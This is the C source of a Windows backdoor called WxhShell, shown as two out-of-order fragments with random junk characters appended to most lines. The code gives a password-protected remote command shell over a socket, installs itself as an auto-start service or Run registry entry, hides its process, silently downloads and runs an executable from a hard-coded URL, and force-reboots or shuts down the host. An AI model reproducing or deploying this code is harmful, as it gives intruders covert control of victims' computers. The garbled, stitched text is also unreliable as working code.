    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "=qdBG9  
    else { Q@M,:0+cy  
    closesocket(wsh); `a<G7  
    ExitThread(0); a ZfX |  
    } D7=gUm >  
    break; 94n,13  
    } jdhhvoQ  
  // 获取shell ~#g Vs*K  
  case 's': { r<"1$K~Ka  
    CmdShell(wsh); DB?[h<^m  
    closesocket(wsh); ArF+9upGY  
    ExitThread(0); k6dSj>F>  
    break; }+u<^7$g|  
  } `T}e3l  
  // 退出 Lrz>00(*4  
  case 'x': { DTJ~.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }F^c*xt[  
    CloseIt(wsh); &<L+;k~P%  
    break; ^^v\ T  
    } r R."_Z2  
  // 离开 D F0~A  
  case 'q': { 2#sE\D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p[W8XX  
    closesocket(wsh); 1N2:4|woe  
    WSACleanup(); d`v]+HK  
    exit(1); ty(F;M(  
    break; m+1MoeR  
        } ^d!-IL_  
  } fa$ Fo(.  
  } {At1]>  
]2v31'  
  // 提示信息 $rf5\_G,96  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ==c\* o  
} l'$AmuGj  
  } ^gNAGQYA  
|JrG?:n  
  return; Z>o20uA  
} YKj7~yK?  
4,uH 4[7  
// shell模块句柄 \+ K ^G  
int CmdShell(SOCKET sock) g{dyDN$5|w  
{ <~f/T]E,  
STARTUPINFO si; 2<<,aL*  
ZeroMemory(&si,sizeof(si)); YsLEbue   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #K  ]k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; / EWF0XV!  
PROCESS_INFORMATION ProcessInfo; #O G_O I  
char cmdline[]="cmd"; 1!,lI?j,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4,FuQ}  
  return 0; V5M_N;h  
} y_\vXY'  
y%iN9 -t  
// 自身启动模式 fU$zG"a_  
int StartFromService(void) VNaa(Q  
{ tZ4W]od  
typedef struct )PR{ia64;<  
{ Z1*y$=D?3[  
  DWORD ExitStatus; E5.)ro=$  
  DWORD PebBaseAddress; IaN|S|n~  
  DWORD AffinityMask; ,p0R 4gi  
  DWORD BasePriority; /G\-v2iD  
  ULONG UniqueProcessId; %  &{>oEQ  
  ULONG InheritedFromUniqueProcessId; trg+" )a  
}   PROCESS_BASIC_INFORMATION; O /aC%%  
spgY &OI;  
PROCNTQSIP NtQueryInformationProcess; :MpIx&  
!*N#}6Jd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L;>tuJY1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oE)tK1>;H  
YI&7s_% -  
  HANDLE             hProcess; 389T6sP]  
  PROCESS_BASIC_INFORMATION pbi; &yWl8O  
X+Xjf(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pX|\J>u)  
  if(NULL == hInst ) return 0; 6i,d|  
qH$G_R#)8B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fq _6xs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EcFYP"{U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m?bb/o'B  
Q:lSKf  
  if (!NtQueryInformationProcess) return 0; g,mcxXO  
wbVM'E/&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z=4Krfn  
  if(!hProcess) return 0; ,.G6c=pZ  
bvs0y7M='  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,??xW{* |  
r(0I>|u  
  CloseHandle(hProcess); Pa%XLn'5  
-7hU1j~I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I3p ~pt2  
if(hProcess==NULL) return 0; [K x_%Le  
0}-&v+  
HMODULE hMod; zZGPA j  
char procName[255]; 74xI#`E  
unsigned long cbNeeded; T&6{|IfM_  
:>;-uve8'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /w`{]Ntgu  
C KBLM2 D  
  CloseHandle(hProcess); 'R99kL/.N  
s>E4.0[I%  
if(strstr(procName,"services")) return 1; // 以服务启动 |l `X]dsfQ  
R84 g<  
  return 0; // 注册表启动 o~2bk<]z  
} + .mIC:9  
!nC Z,  
// 主模块 tbl!{Qwx  
int StartWxhshell(LPSTR lpCmdLine) 6t<~. 2'  
{ Ilsh Jo  
  SOCKET wsl; `yNNpSdS1  
BOOL val=TRUE; )d_)CuUBe  
  int port=0; &> p2N  
  struct sockaddr_in door; +);o{wfW  
"-90:"W  
  if(wscfg.ws_autoins) Install(); s=u0M;A0Q  
S\MD]>4  
port=atoi(lpCmdLine); 45> w=O  
(;+ JM*c2N  
if(port<=0) port=wscfg.ws_port; [p_R?2uT  
$BwWhR  
  WSADATA data; lTDF5.aE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \$<kJ|| lS  
3JWHyo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L5]*ZCDv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6P3ezl@#;  
  door.sin_family = AF_INET; rKP"|+^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9v_gR52vh  
  door.sin_port = htons(port); to(OVg7_  
!f V.#9AB#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DbH{; Fb  
closesocket(wsl); u3dhMnUn  
return 1; AW!|xA6'`:  
} L_=J(H|  
2< qq[2  
  if(listen(wsl,2) == INVALID_SOCKET) { (3&@c!E  
closesocket(wsl); )p).}"   
return 1; sbQmPV  
} RT F9;]Ti  
  Wxhshell(wsl); Z[slN5]([  
  WSACleanup(); 1Hy  
tt6ElP|D  
return 0; 1W "9u   
b=Zg1SqV  
} 4qrPAt  
kZWc(LwA  
// 以NT服务方式启动 l)Q,*i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bv)E>%Yy  
{ Z: &"Ax  
DWORD   status = 0; b^;19]/RW  
  DWORD   specificError = 0xfffffff; t9zPJQlT}  
\#lh b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hUxpz:U*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cSnm\f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k9w<0h3  
  serviceStatus.dwWin32ExitCode     = 0; =uYSZR  
  serviceStatus.dwServiceSpecificExitCode = 0; 6jO*rseC  
  serviceStatus.dwCheckPoint       = 0; iePpJ>(  
  serviceStatus.dwWaitHint       = 0; eWhv X9 <  
{Ejv8UdA9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); POtDge  
  if (hServiceStatusHandle==0) return; P zzX Ds6  
e-]k{_wm  
status = GetLastError(); (b GiBsb  
  if (status!=NO_ERROR) .1t$(]CyC  
{ KQNSYI7a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pr>K#@^  
    serviceStatus.dwCheckPoint       = 0; n,9 *!1y  
    serviceStatus.dwWaitHint       = 0; .[+8D=  
    serviceStatus.dwWin32ExitCode     = status; mRW(]OFIai  
    serviceStatus.dwServiceSpecificExitCode = specificError; GLv}|>W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tV[?WA[xt  
    return; tkR^dC  
  } FJ!N)`[  
AA^3P?iD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^8 AV#a  
  serviceStatus.dwCheckPoint       = 0; 'i%Azzv  
  serviceStatus.dwWaitHint       = 0; 13}=;4O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SdYES5aES  
} :{E3H3  
Fu^^Jex  
// 处理NT服务事件,比如:启动、停止 aEy_H-6f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %&V<kH"7Q{  
{ C.C\(2- Rr  
switch(fdwControl) u)t1t69T\g  
{ #ie{!Mh  
case SERVICE_CONTROL_STOP: jQ4Pv`  
  serviceStatus.dwWin32ExitCode = 0; =3a`NO5!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H) m!)=\'  
  serviceStatus.dwCheckPoint   = 0; nR!qolh  
  serviceStatus.dwWaitHint     = 0; ) ok_"wB  
  { tJ&S&[}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O8[dPm W  
  } Oa$ ew'  
  return; IgLP=mqcWK  
case SERVICE_CONTROL_PAUSE: gA`/t e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?F(t`0=  
  break; MP w@O0QS  
case SERVICE_CONTROL_CONTINUE: >Cb% `pe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JLT':e~PX  
  break; "3Ag+>tuRW  
case SERVICE_CONTROL_INTERROGATE: [ j1SX-NX  
  break; r&o%n5B  
}; OJbY\U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UDt.w82  
} [ }jSx]  
:>Z0Kb}7  
// 标准应用程序主函数 qV/"30,K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *xkbKkm  
{ {S~2m2up0L  
[77]0V7  
// 获取操作系统版本 =uKK{\+|Y  
OsIsNt=GetOsVer(); o-("S|A-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lyt6DvAp"  
XFG]%y=/6  
  // 从命令行安装 \%mR*J+  
  if(strpbrk(lpCmdLine,"iI")) Install(); K%2,z3ps  
FOquQr1cF  
  // 下载执行文件 |b'tf:l  
if(wscfg.ws_downexe) { yXg783B|v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yJ/m21f  
  WinExec(wscfg.ws_filenam,SW_HIDE); YV. *8'*  
} E@0w t^  
E{wVf_K  
if(!OsIsNt) { U1 1rj,7  
// 如果时win9x,隐藏进程并且设置为注册表启动 fR_)e:  
HideProc(); 96}/;e]@  
StartWxhshell(lpCmdLine); `w[0q?}"`  
} FGy7KVR  
else AWh{dM  
  if(StartFromService()) m&Ms[X  
  // 以服务方式启动 qWw@6VvoQ  
  StartServiceCtrlDispatcher(DispatchTable); "h2;65@  
else 6Ck?O/^  
  // 普通方式启动 dK|MQ <  
  StartWxhshell(lpCmdLine); *h@nAB\3  
<saS2.4  
return 0; )#xd]~ <  
} v srce  
;s9!ra:3  
X'7 T"5!  
cK@O)Ko}  
=========================================== :2 QA#  
Y^2Ma878  
:M1+[FT  
y{!`4CxF  
&{Uaa  
dQ/Xs.8  
" K4,VSy1byI  
i:qc2#O:J  
#include <stdio.h> BL]!j#''KE  
#include <string.h> yoGE#+|7^  
#include <windows.h> vQc>jmS+n  
#include <winsock2.h> ]9R?2{"K  
#include <winsvc.h> K~x G+Kh  
#include <urlmon.h> 5c'rnMW4+p  
@2YO_rL[  
#pragma comment (lib, "Ws2_32.lib") ;9,Ll%Lk<  
#pragma comment (lib, "urlmon.lib") $v-lG(  
&fiDmUxj  
#define MAX_USER   100 // 最大客户端连接数 4y>G6TD^  
#define BUF_SOCK   200 // sock buffer '9$xOrv  
#define KEY_BUFF   255 // 输入 buffer B,e@v2jO|  
j(va# f#  
#define REBOOT     0   // 重启 z<: 9,wtbP  
#define SHUTDOWN   1   // 关机 7:jSP$  
*v8Cj(69  
#define DEF_PORT   5000 // 监听端口 .zBSjh_=H  
n." j0kc7=  
#define REG_LEN     16   // 注册表键长度 S9U9;>g  
#define SVC_LEN     80   // NT服务名长度 }gag?yQ.^  
Y($"i<rN  
// 从dll定义API @B7 ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ky!4^B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0kmVP~K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5C#&vYnq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]2h~Db=  
H# 2'\0u  
// wxhshell配置信息 6CY_8/:zL  
struct WSCFG { "N7C7`izc  
  int ws_port;         // 监听端口 n; v8Vc'  
  char ws_passstr[REG_LEN]; // 口令 ;,Lq*x2s  
  int ws_autoins;       // 安装标记, 1=yes 0=no s8 .oS);`  
  char ws_regname[REG_LEN]; // 注册表键名 YHvmo@  
  char ws_svcname[REG_LEN]; // 服务名 !6f#OAP\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sAnStS=>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >'Y]C\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #<yR:3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m feyR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wQPjo!FEX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z~T- *1V  
Qnr' KbK  
}; 8Vl!&j0s^  
j><.tA~i  
// default Wxhshell configuration li/IKS)e$  
struct WSCFG wscfg={DEF_PORT, rh$%*l  
    "xuhuanlingzhe", dYf Vox;  
    1, ]7h&ZF  
    "Wxhshell", A n/)|B4  
    "Wxhshell", ZLE4 XB]  
            "WxhShell Service", s49 AF  
    "Wrsky Windows CmdShell Service", h=d&@k\g  
    "Please Input Your Password: ", 4;w_o9o  
  1, L_ 8C=MS  
  "http://www.wrsky.com/wxhshell.exe", 5#QB&A>  
  "Wxhshell.exe" 4V43(G  
    }; l~F,i n.  
0fi+tc 30  
// 消息定义模块 !. q*bY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s7a\L=#p(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DX4 95<6*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %z.u % %  
char *msg_ws_ext="\n\rExit."; JGGss5  
char *msg_ws_end="\n\rQuit."; (8=Zr0He  
char *msg_ws_boot="\n\rReboot..."; ;<ed1%Le,  
char *msg_ws_poff="\n\rShutdown..."; y$4,r4cmR|  
char *msg_ws_down="\n\rSave to "; ]C5JP~ #z  
O23f\pm&  
char *msg_ws_err="\n\rErr!"; I#uJdV|x  
char *msg_ws_ok="\n\rOK!"; QVzLf+R~  
7Py8!  
char ExeFile[MAX_PATH]; ) ae/+Q8  
int nUser = 0; crZ\:LeJ  
HANDLE handles[MAX_USER]; _W]3_1Lu  
int OsIsNt; mgH4)!Z*56  
Tvf]OJ9N  
SERVICE_STATUS       serviceStatus; 6 `X#<#_&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;}^Pfm8  
el+euOV  
// 函数声明 7th&C,c&  
int Install(void); ~3/>;[!  
int Uninstall(void); 0($MN]oZa  
int DownloadFile(char *sURL, SOCKET wsh); 15Yy&9D  
int Boot(int flag); s- g[B(  
void HideProc(void); W!GgtQw{F  
int GetOsVer(void); V , )kw{](  
int Wxhshell(SOCKET wsl); Z{u*vUC&  
void TalkWithClient(void *cs); VpTp*[8O  
int CmdShell(SOCKET sock); ]J_Dn\  
int StartFromService(void); 2E=E!Zwt_  
int StartWxhshell(LPSTR lpCmdLine); < 8WS YZ  
s&8QRI.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?z Ms;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lyv9eM  
1)%9h>F7  
// 数据结构和表定义 ?$=N!>P#  
SERVICE_TABLE_ENTRY DispatchTable[] = )M'#l<9B  
{ }{]{`\  
{wscfg.ws_svcname, NTServiceMain}, $zxCv7  
{NULL, NULL} U/0NN>V  
}; "QGP]F  
fv<($[0  
// 自我安装 Lrr6z05FQ  
int Install(void) B6$s*SXNp  
{ ]yCmGt+b  
  char svExeFile[MAX_PATH]; A+;]# 1y(D  
  HKEY key; (w"zI!  
  strcpy(svExeFile,ExeFile); d3^LalAp  
Ha4?I$'$  
// 如果是win9x系统,修改注册表设为自启动 Hdj0! bUx  
if(!OsIsNt) { Hsx`P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z*s/%4On  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _3hCu/BV  
  RegCloseKey(key); kTs)u\r.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :~U1JAs$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !=k\Rr@qx  
  RegCloseKey(key); !Bu<6  
  return 0; |wVoJO!O}  
    } UI>-5,X  
  } %oC]Rpdu  
} 0&-!v?6 )  
else { e J2[=L'  
v|QFUa`  
// 如果是NT以上系统,安装为系统服务 Tje =vI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VY~WkSi[<  
if (schSCManager!=0) 1sn!!  
{ v_)cp9d]  
  SC_HANDLE schService = CreateService 6mMJ$FY+  
  ( &e3z)h  
  schSCManager, oaRPYgh4  
  wscfg.ws_svcname, KJcdX9x  
  wscfg.ws_svcdisp, B'atwgI0  
  SERVICE_ALL_ACCESS, 9r\8  !R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ /:]HG  
  SERVICE_AUTO_START, 8>Ervi`  
  SERVICE_ERROR_NORMAL, NjsP"  
  svExeFile, ^vsOlA(4  
  NULL, N-K.#5  
  NULL, *w> /vu  
  NULL, BjOrQAO  
  NULL, 83;1L:}`  
  NULL J>XaQfzwU  
  ); |w /txn8G|  
  if (schService!=0) *~2jP;$  
  { iT9cw`A^%  
  CloseServiceHandle(schService); b LSI\  
  CloseServiceHandle(schSCManager); ?aO%\<b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _lyP7$[: c  
  strcat(svExeFile,wscfg.ws_svcname); %aL>n=$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vAwFPqu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hiU_r="*ox  
  RegCloseKey(key); Ldt7?Y(V(  
  return 0; J6NQ5S\  
    } >i@gR  
  }  6~$ <  
  CloseServiceHandle(schSCManager); I%{^i d@  
} YfF&: "-NU  
} [J-r*t"!  
gjyg`%  
return 1; ]WyV~Dzz<  
} b^hCm`2w*  
}[ux4cd8Y  
// 自我卸载 ot(|t4^  
int Uninstall(void) LUS7-~:F  
{ 90I)"vfW5  
  HKEY key; UY%@i  
a,&Kvh  
if(!OsIsNt) { ~LYKt0/W&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |(XV '-~  
  RegDeleteValue(key,wscfg.ws_regname); fa5($jJ&  
  RegCloseKey(key); hO{@!H$l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )@SIFE  
  RegDeleteValue(key,wscfg.ws_regname); ?_n.B=H`8  
  RegCloseKey(key); o)S>x0| [  
  return 0; $V`O%Sz  
  } % ,~; w0  
} JR7~|ov  
} A[+op'>k  
else { /1n}IRuw  
sY1@ch"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;M4N=G Wd4  
if (schSCManager!=0) y^M'&@F  
{ Y5ebpw+B-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pok,`yW\  
  if (schService!=0) *;"^b\f5_  
  { K"-N:OV  
  if(DeleteService(schService)!=0) { v6f$N+4c  
  CloseServiceHandle(schService); GXJ3E"_.  
  CloseServiceHandle(schSCManager); `Rj i=k>  
  return 0; Qyd3e O_  
  } 4_r8ynq{z  
  CloseServiceHandle(schService); {fIH9+v  
  } r]0o  
  CloseServiceHandle(schSCManager); *xL#1  
} r \=p.cw<  
} y7,~7f!N2  
>]C;sP  
return 1; -! ;vX @  
} _;LHC;,:  
b2p<!?  
// 从指定url下载文件 DB?_E{y]  
int DownloadFile(char *sURL, SOCKET wsh) <JZ=K5  
{ L=HL1Qe$G]  
  HRESULT hr; -6t# ?Dkc'  
char seps[]= "/"; A=h`Z^8\B  
char *token; ( 7Y :3  
char *file; TvI}yaCu/x  
char myURL[MAX_PATH]; V!FzVl=G  
char myFILE[MAX_PATH]; i Cv &<C@  
G*J(4~Yw}  
strcpy(myURL,sURL); QW6k!ms$  
  token=strtok(myURL,seps); jN5Sc0|b  
  while(token!=NULL) | G%MiYd  
  { dF1Bo  
    file=token; OQ!mL3f  
  token=strtok(NULL,seps); 3UrqV`x \  
  } *'exvY~  
G ROl9xp2  
GetCurrentDirectory(MAX_PATH,myFILE); b[RBp0]x  
strcat(myFILE, "\\"); ch : 428  
strcat(myFILE, file); %@pTEhpF  
  send(wsh,myFILE,strlen(myFILE),0); g08=D$P  
send(wsh,"...",3,0); k"Sw,"e>+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #"7:NR^H^  
  if(hr==S_OK) C: e}}8i  
return 0; xn}'!S2-b  
else CB?.| )Xam  
return 1; ~@got  
W"!nf  
} 06Uxd\E~  
;iS}<TA  
// 系统电源模块 zh50]tX  
int Boot(int flag) R 8Iac[N  
{ ~{d94o.  
  HANDLE hToken; \19XDqf8  
  TOKEN_PRIVILEGES tkp; nMVThN*I g  
DB>>U>H-  
  if(OsIsNt) { n,Ux>L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); * ?KQ\ Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T 6phD8#  
    tkp.PrivilegeCount = 1; K h% x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bk^ :6>{K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aty K^*aX  
if(flag==REBOOT) { c+4SGWmO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]$*N5Y  
  return 0; NPS=?5p>  
} (G$m}ng  
else { 4r5,kOFWb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z': >nw  
  return 0; x!"!oJG^k  
} *FG@Dts^&  
  } _B W$?:)9  
  else { MX9 q )(:  
if(flag==REBOOT) { * =;=VUu5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OpH9sBnA  
  return 0; W%1fm/ G0  
} d,D)>Y'h  
else { Wg}#{[4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fylaH(LER  
  return 0; \t!+]v8f8  
} 3:=XU9p)x  
} ?58pkg J  
^i:%;oeG  
return 1; 4Nq n47|>e  
} y8<,>  
SXod r}  
// win9x进程隐藏模块 z,] fR  
void HideProc(void) i [j`'.fj  
{ b#XS.e/uf  
pr;L~$JW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YHKm{A ]  
  if ( hKernel != NULL ) z*9/"M  
  { K7_)!=DcX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _Yh4[TT~/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~CM{?{z;  
    FreeLibrary(hKernel); ff:&MsA|,  
  } 8{d`N|k  
T-5T`awf  
return; >StvP=our  
} 1eb1Lvn  
=,0E3:X^  
// 获取操作系统版本 aMz%H|/$  
int GetOsVer(void) {s`1+6_&Vz  
{ @cjhri|vH  
  OSVERSIONINFO winfo; crhck'?0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zn9w1ev  
  GetVersionEx(&winfo); I1}{7-_t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %@BQv 4oJ  
  return 1; ]AHi$Xx  
  else Tzk8y 7$[  
  return 0; X2Lhb{ZHE  
} z%;\q$  
{yG)Ii  
// 客户端句柄模块 8D+OF 6CM  
int Wxhshell(SOCKET wsl) a)Wf* <B  
{ [e&$4l IS  
  SOCKET wsh; slPFDBx  
  struct sockaddr_in client; Pq_Il9  
  DWORD myID; 4Y)3<=kDG  
k| jC c  
  while(nUser<MAX_USER) :+R ||q i  
{ b1 KiO2 E  
  int nSize=sizeof(client); }wv$ #H[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {) .=G  
  if(wsh==INVALID_SOCKET) return 1; ?Z14l0iZ%d  
L g%cVSz/C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e=F' O] 5  
if(handles[nUser]==0) ^lQ-w|7(  
  closesocket(wsh); B2,! 0Re  
else b(XhwkGVq  
  nUser++; GN~:rdd  
  } H}}t )H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #Xn#e  
x?j&Jn_@w  
  return 0; eg,S(;VEt  
} jf$t  
".@SQgyb0  
// 关闭 socket g`&pQ%|=  
void CloseIt(SOCKET wsh) :V_$?S  
{ goHr# @  
closesocket(wsh); /Fv1Z=:r  
nUser--; zBoU;d%p>  
ExitThread(0); }~ +  
} JT:9"lmJz,  
Az)P&*2:'`  
// 客户端请求句柄 ;N/c5+  
void TalkWithClient(void *cs) wvc?2~`  
{ r^\^*FD |  
Q5jP`<zWU  
  SOCKET wsh=(SOCKET)cs; Z]Qm64^I  
  char pwd[SVC_LEN]; Y@r#:BH )  
  char cmd[KEY_BUFF]; o 86}NqK  
char chr[1]; kv'n W  
int i,j; {Qhv HV  
D!X{9q}S1  
  while (nUser < MAX_USER) { fI BLJ53  
cJhf{{_oR  
if(wscfg.ws_passstr) { lv\2vRYw-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !IGVN:E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (Bmjz*%M  
  //ZeroMemory(pwd,KEY_BUFF); )v|a:'%K_  
      i=0; N.&K"J  
  while(i<SVC_LEN) { w1GCjD*y  
qrdA?V V  
  // 设置超时 o?%x!m>  
  fd_set FdRead; xpS#l"dr  
  struct timeval TimeOut; c/hml4  
  FD_ZERO(&FdRead); kQH!`-n:T  
  FD_SET(wsh,&FdRead); .<j8>1  
  TimeOut.tv_sec=8; opIcSm&  
  TimeOut.tv_usec=0; pw$I~3OFd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'l;?P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |YlUt~H>  
$[>wJXj3R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CId`6W  
  pwd=chr[0]; ++kiCoC  
  if(chr[0]==0xd || chr[0]==0xa) { ,)QmQ ^/  
  pwd=0; PDir?'  
  break; / _cOg? o  
  }  Et- .[  
  i++; HQE#O4  
    } ,Tr12#D:  
n;q7? KW8  
  // 如果是非法用户,关闭 socket sF|$oyDE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Cn_Mz#Z  
} oS`F Yy  
D{8V^%{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '@:;oe@]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ioviJ7N% O  
ec3('}X  
while(1) { (ncfR  
T2Vj &EA@  
  ZeroMemory(cmd,KEY_BUFF); F_-yT[i  
=-q)I[4#  
      // 自动支持客户端 telnet标准   =djzE`)0  
  j=0; {#;6$dU;(  
  while(j<KEY_BUFF) { cX&c%~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LEhi/>T  
  cmd[j]=chr[0]; (Q'XjN\#  
  if(chr[0]==0xa || chr[0]==0xd) { ;wN.RPE_^  
  cmd[j]=0; R]r~TJ o  
  break; }U(^QB  
  } ]>AW  
  j++; r`&ofk1K  
    } "7aFVf  
9u)h$VC  
  // 下载文件 mj,r@@k:=+  
  if(strstr(cmd,"http://")) { d3![b1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |MRxm"]A   
  if(DownloadFile(cmd,wsh)) JZ<O-G+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @vv`86bm  
  else UtWoSFZ'o!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nBD7  
  } 'WOW m$2  
  else { 62zlO{ >rJ  
kO5KZ;+N-  
    switch(cmd[0]) { U{R*WB b  
  %|u"0/  
  // 帮助 k9bU<  
